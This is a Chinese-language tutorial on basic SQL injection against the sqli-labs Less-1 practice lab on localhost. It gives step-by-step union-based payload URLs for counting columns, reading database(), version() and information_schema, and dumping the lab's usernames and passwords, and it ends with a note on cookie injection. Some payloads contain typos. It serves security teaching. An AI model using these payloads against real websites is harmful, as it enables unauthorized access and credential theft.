1. 程式人生 > >基礎SQL註入

基礎SQL註入

agen 記得 log 數據庫版本 查看數據庫 bat 信息 字段值 concat

預備知識
對mysql數據庫有一定了解;對基本的sql語句有所了解;
對url編碼有了解:空格=‘%20’,單引號=‘%27’,雙引號=‘%22’,井號=‘%23’等

基本步驟
1. 判斷是什麽類型註入,有沒有過濾關鍵字,是否能繞過
2. 確定存在註入的表的列數以及表中數據那些字段可以顯示出來
3. 獲取數據庫版本,用戶,當前連接的數據庫等信息
4. 獲取數據庫中所有表的信息
5. 獲取某個表的列字段信息
5. 獲取相應表的數據

Less1,基於錯誤的GET單引號字符型註入。
(單引號,and 1=1,and 1=2,)
http://127.0.0.1/sqli/Less-1/?id=2%27(寬字節註入)
錯誤提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2‘‘ LIMIT 0,1‘ at line 1
此時的註入語句為: SELECT * FROM users WHERE id=‘2‘‘ LIMIT 0,1 (報單引號不匹配的錯)
註釋符常用的有兩種:
1. -- ‘ 一定要註意在最後一個單引號前面有空格
2. # (空格#空格)

第二步確定表的列數:

使用order by 語句。
當試到‘4‘時,出現報錯信息,可以知道該表有3列:
Unknown column ‘4‘ in ‘order clause‘
執行的sql語句是:SELECT * FROM users WHERE id=‘2‘ order by 4 -- ‘‘ LIMIT 0,1

第三步,確定字段的顯示位:
顯示位:表中數據第幾位的字段可以 顯示,因為並不是所有的查詢結果都 會展示在頁面中,因此需要探測頁面 中展示的查詢結果是哪一列的結果; ‘union select 1,2,3 – ’ 通過顯示的數字可以判斷那些字段可以顯示出來。
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3 -- ‘
可見2,3所在的字段可以顯示
ps:id=-1,使用-1是為了使前一個sql語句所選的內容為空,從而便於後面的select語句顯示信息


第四步獲取當前數據庫信息
現在只有兩個字段可以顯示信息,顯然在後面的查詢數據中,兩個字段是不夠用,可以使用group_concat ()函數(可以把查詢出來的多行數據連接起來在一個字段中顯示)
database()函數:查看當前數據庫名稱

version()函數:查看數據庫版本信息

user():返回當前數據庫連接使用的用戶


http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,database()或者version()),3 -- ‘
Your Login name:security5.5.53
Your Password:3
可以知道當前數據庫名為security,數據庫版本為5.5.53

第五步,獲取全部數據庫信息(表,列信息)
Mysql有一個系統的數據庫information_schema,裏面保存著所有數據庫的相關信息,使用該表完成註入
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1, group_concat(schema_name),3 from information_schema.schemata -- ‘ 爆出所有數據庫名字

以上命令可以獲取到了所有的數據庫信息 information_schema ,security(是例題中的數據庫信息)


第六步:獲取security數據庫中的表信息

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ -- ‘(一般情況下要最好將security使用16進制hex編碼轉換。轉換後記得要加0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= ‘數據庫的名‘ table_name 表信息


第七步:獲取user表的列

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,column_name,3 from information_schema.columns where table_name=‘users‘ limit0,1 -- ‘(users最好轉換,I春秋上介紹,這句話的意思是查詢information_schema數據庫中columns表裏的column_name字段(就是表最上面的標題)。條件是table_name為user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
執行的sql語句是:SELECT * FROM users WHERE id=‘-1‘ union select 1,column_name, ,3 from information_schema.columns where table_name=‘users‘ -- ‘‘ LIMIT 0,1 這個一般都要加,加上去改變數字會導致不同

第八步:獲取數據

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,username,password,3 from users -- ‘
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3


Writeup,我要先查到註入類型跟註入點,然後用order by 查詢整個大數據庫裏表的列數,database()顯示的是當前頁面所使用的數據庫名稱,shecm這個是mysql5.0版本之後特有的一個數據庫,他包含了整個大數據庫裏所有數據庫的表名跟列名。然後用union select 1,2,3…查列顯示位置是多少。然後獲取當前數據庫的名字:union select 1,database()(寫在顯示位),3 –- ‘;得到當前數據庫名稱後,要找到當前數據庫所有表信息,然後對指定想要獲取的數據庫獲取數據庫表信息(第六步),然後獲取指定表下面的列信息 union select 列 from 表


第二篇:

Information_schema:存儲mysql數據庫下所有數據庫的表名和列名信息的自帶數據庫
information_schema.schemata:存儲mysql數據庫下所有數據庫的庫名信息的表 (字段名為 schema_name的字段值) 字段就是列名
information_schema.tables:存儲mysql數據庫下所有數據庫的表名信息的表 (字段名為 table_name:表名
條件為 table_schema:數據庫名 )
information_schema.columns:存儲mysql數據庫下所有數據庫的列名信息的表 (字段名為column_name:的字段值))

cookie註入:burp裏截取到用戶COOKIE後,將ID=多少再referer中cookie後面加分號之後填寫上去,再寫入命令。

基礎SQL註入